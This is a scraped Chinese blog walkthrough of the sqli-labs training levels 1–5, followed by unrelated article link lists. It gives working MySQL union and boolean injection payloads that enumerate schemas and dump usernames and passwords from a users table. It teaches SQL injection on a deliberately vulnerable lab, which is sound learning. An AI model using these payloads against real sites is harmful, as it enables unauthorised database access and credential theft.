大多情况下:SQL注入其实就是构造正确的mysql命令,让网页回显本不应该让我们看到的数据(如用户的账号和密码)。

第一关-联合查询注入
  • 查库

// 查看当前页面在的数据库

?id=-1' union select 1,2,database();--+
//一个一个的查
?id=-1' union select 1,2, schema_name from information_schema.schemata limit 1,1; --+
//查看所有数据库
?id=-1' union select 1,2, group_concat(schema_name) from information_schema.schemata; --+
  • 查表

//一个一个的查
?id=-1' union select 1,2, table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1; --+
//查所有表
?id=-1' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479; --+
  • 查字段

//一个一个的查
?id=-1' union select 1,2, column_name from information_schema.columns where table_name=0x7573657273 limit 1,1;--+
//查所有字段
?id=-1' union select 1,2, group_concat(column_name) from information_schema.columns where table_name=0x7573657273;--+
  • 查值

//一个一个的查
?id=-1' union select 1,username,password from security.users limit 1,1;--+
//查所有值
?id=-1' union select 1,2, group_concat( concat_ws(0x7e,username,password) ) from security.users ;--+
√ 解析
  • 原理

    当我们传入参数id=1时,其实在后台执行的代码是

    SELECT * FROM users WHERE id='1' LIMIT 0,1;

    以查库为例,在mysql中我们要想知道当前我们所处的数据库名称会用database()函数,数据库会返回当前所在库名

    那么我们怎么让网页返回的值是我们想要其他的的值呢?

    显然我们要在输入1的位置做文章

    ?id=1'--+ (其中的单引号‘ ' ’用来闭合id,--+注释符把后面的命令注释掉)

    这样可以执行成功,此时后台执行的代码是

    SELECT * FROM users WHERE id='1';--+' LIMIT 0,1;

    --+后面的语句被注释已失效,显然SELECT * FROM users WHERE id='1';是一条完整且正确的命令

  • 开始构造

    我们采用联合查询语句继续构造

    输入

    ?id=-1' union select 1,2,database();--+

    显然数据的id是从1开始编写的,id=-1肯定不存在,默认返回‘执行后面的命令获得的数据’

    此时后台执行

    SELECT * FROM users WHERE id='-1' union select 1,2,database();--+' LIMIT 0,1;

    显然SELECT * FROM users WHERE id='-1' union select 1,2,database();是一条完整且正确的命令

    但是当我们注入某个网站时,用户的账号密码不一定就在‘网页当前所在数据库’里啊。其他的数据库名字我又不知道在怎么办?

    查!

    同样的我们构造

    ?id=-1' union select 1,2, schema_name from information_schema.schemata limit 1,1; --+ //一个一个的查

    这是一条通用命令,即查询数据库中所有库的名字

    limit 1,1表示从第一条数据开始数,下一条数据

    当然也可以

    limit 1,2 第三条数据

    limit 1,3 第四条数据

    ...

    从而遍历出所有数据

  • 什么?太麻烦了

    我们可以用grup_concat()一次查出所有数据,显然limit 1,1就没用了--> 扔掉!

    用法:把查的内容用函数包裹即可

    ?id=-1' union select 1,2, group_concat(schema_name) from information_schema.schemata; --+

    接着,同样的道理

    查表

    查字段

    (略)...

第二关-联合查询注入

id的闭合方式变为


id= 1
第三关-联合查询注入

id的闭合方式变为



id= (' 1 ')        

第四关-联合查询注入

id的闭合方式变为


id= (" 1 ")
第五关-BOOL型注入
  • 方法一


?id = 1 ' and left( ( database() ), 1 ) = 'a' ;--+

database() 部分换做

查库

select schema_name from information_schema.schemata limit 1,1

查表

select table_name from information_schema.tables limit 1,1

查字段

select table_name from information_schema.columns limit 1,1

查数据

select password from security.users limit 1,1

  • 方法二

Sqli-labs-master通关解析(持续更新中。。。)的更多相关文章

  1. 史上最全的spark面试题——持续更新中

    史上最全的spark面试题——持续更新中 2018年09月09日 16:34:10 为了九亿少女的期待 阅读数 13696更多 分类专栏: Spark 面试题   版权声明:本文为博主原创文章,遵循C ...

  2. git常用命令(持续更新中)

    git常用命令(持续更新中) 本地仓库操作git int                                 初始化本地仓库git add .                       ...

  3. java视频教程 Java自学视频整理(持续更新中...)

    视频教程,马士兵java视频教程,java视频 1.Java基础视频 <张孝祥JAVA视频教程>完整版[RMVB](东西网) 历经5年锤炼(史上最适合初学者入门的Java基础视频)(传智播 ...

  4. 《WCF技术剖析》博文系列汇总[持续更新中]

    原文:<WCF技术剖析>博文系列汇总[持续更新中] 近半年以来,一直忙于我的第一本WCF专著<WCF技术剖析(卷1)>的写作,一直无暇管理自己的Blog.在<WCF技术剖 ...

  5. HBase常见问题答疑解惑【持续更新中】

    HBase常见问题答疑解惑[持续更新中] 本文对HBase开发及使用过程中遇到过的常见问题进行梳理总结,希望能解答新加入的HBaser们的一些疑惑. 1. HTable线程安全吗? HTable不是线 ...

  6. 【github&&git】4、git常用命令(持续更新中)

    git常用命令(持续更新中) 本地仓库操作git int                                 初始化本地仓库git add .                       ...

  7. Flume的一些报错问题解决(持续更新中)

    严谨转载--否则追究法律责任 作者----王加鸿                                                   ----------bug 1---------- ...

  8. fastadmin 后台管理框架使用技巧(持续更新中)

    fastadmin 后台管理框架使用技巧(持续更新中) FastAdmin是一款基于ThinkPHP5+Bootstrap的极速后台开发框架,具体介绍,请查看文档,文档地址为:https://doc. ...

  9. 前端面试题总结——HTML(持续更新中)

    前端面试题总结--HTML(持续更新中) 1.什么是HTML? HTML:HyperText Markup Language超文本标记语言 2.XHTML和HTML有什么区别 HTML是一种基本的WE ...

  10. 2020年腾讯实习生C++面试题&持续更新中(5)

    2020年腾讯实习生C++面试题&持续更新中(5) 大家好呀,我是好好学习天天编程的天天~ 昨天一位小伙伴反馈已经拿到了腾讯offer,很是替小伙伴的激动~ 那今天还是持续给大家分享面经,希望 ...

随机推荐

  1. 如何在IDEA中进行时序图分析

    方法一: 使用插件 SequenceDiagram (系统自动生成) 使用方法: 下载插件,我们可以在 Plugins 中找到 选中线程方法名,然后右键就可以创建此方法的时序图了 参数设置 生成效果以 ...

  2. Puzzle UVA - 227 PE代码求大佬指点

    ​ A children's puzzle that was popular 30 years ago consisted of a 5×5 frame which contained 24 smal ...

  3. 进击中的Vue 3——“电动车电池范围计算器”开源项目

    转载请注明出处:葡萄城官网,葡萄城为开发者提供专业的开发工具.解决方案和服务,赋能开发者. 原文参考:https://dzone.com/articles/build-a-tesla-battery- ...

  4. 十步解决php utf-8编码

    以前说过如果JS文件不是UTF8会在IE有bug,所以JS代码也要用UTF-8.还有数据库也都要用UTF-8.php用UTF-8总结: php文件本身必须是UTF-8编码.不像Java会生成class ...

  5. Dalvik模式下在Android so库文件.init段、.init_array段构造函数上下断点

    本文博客地址:http://blog.csdn.net/qq1084283172/article/details/78244766 在前面的博客<在Android so文件的.init..ini ...

  6. hdu4990 矩阵快速幂

    题意:       给你一短代码,让你优化这个代码,代码如下 #pragma comment(linker, "/STACK:1024000000,1024000000") #in ...

  7. idea中properties配置文件没有代码提示及代码高亮问题解决方案

    更多精彩关注微信公众号 1.解决properties文件没有代码提示问题:首先,单击项目结构按钮,如下图: 然后,给项目添加Spring依赖支持,如下图: 2.解决代码不高亮问题:     代码不高亮 ...

  8. 浅谈持续集成(CI)、持续交付(CD)、持续部署(CD)

    CI/CD是实现敏捷和Devops理念的一种方法,具体而言,CI/CD 可让持续自动化和持续监控贯穿于应用的 整个生命周期(从集成和测试阶段,到交付和部署).这些关联的事务通常被统称为"CI ...

  9. JVM什么叫安全检测点

    [deerhang] 在JVM的垃圾回收阶段,GC线程首先要进行对象的可达性分析.为了避免多线程对可达性分析的影响引出了安全点检测的概念 当GC线程进行GC前,需要等待其他线程进入安全点.例如JVM调 ...

  10. Power BI官方客户案例2021

    微软商业应用峰会Power BI客户案例,今年的客户案例相比前2年不同,主要是大客户,基本都是行业Top公司. 选取零售,医药制造,教育,医疗IT等行业龙头.沃尔玛,拜耳,滑铁卢大学的分享内容非常棒, ...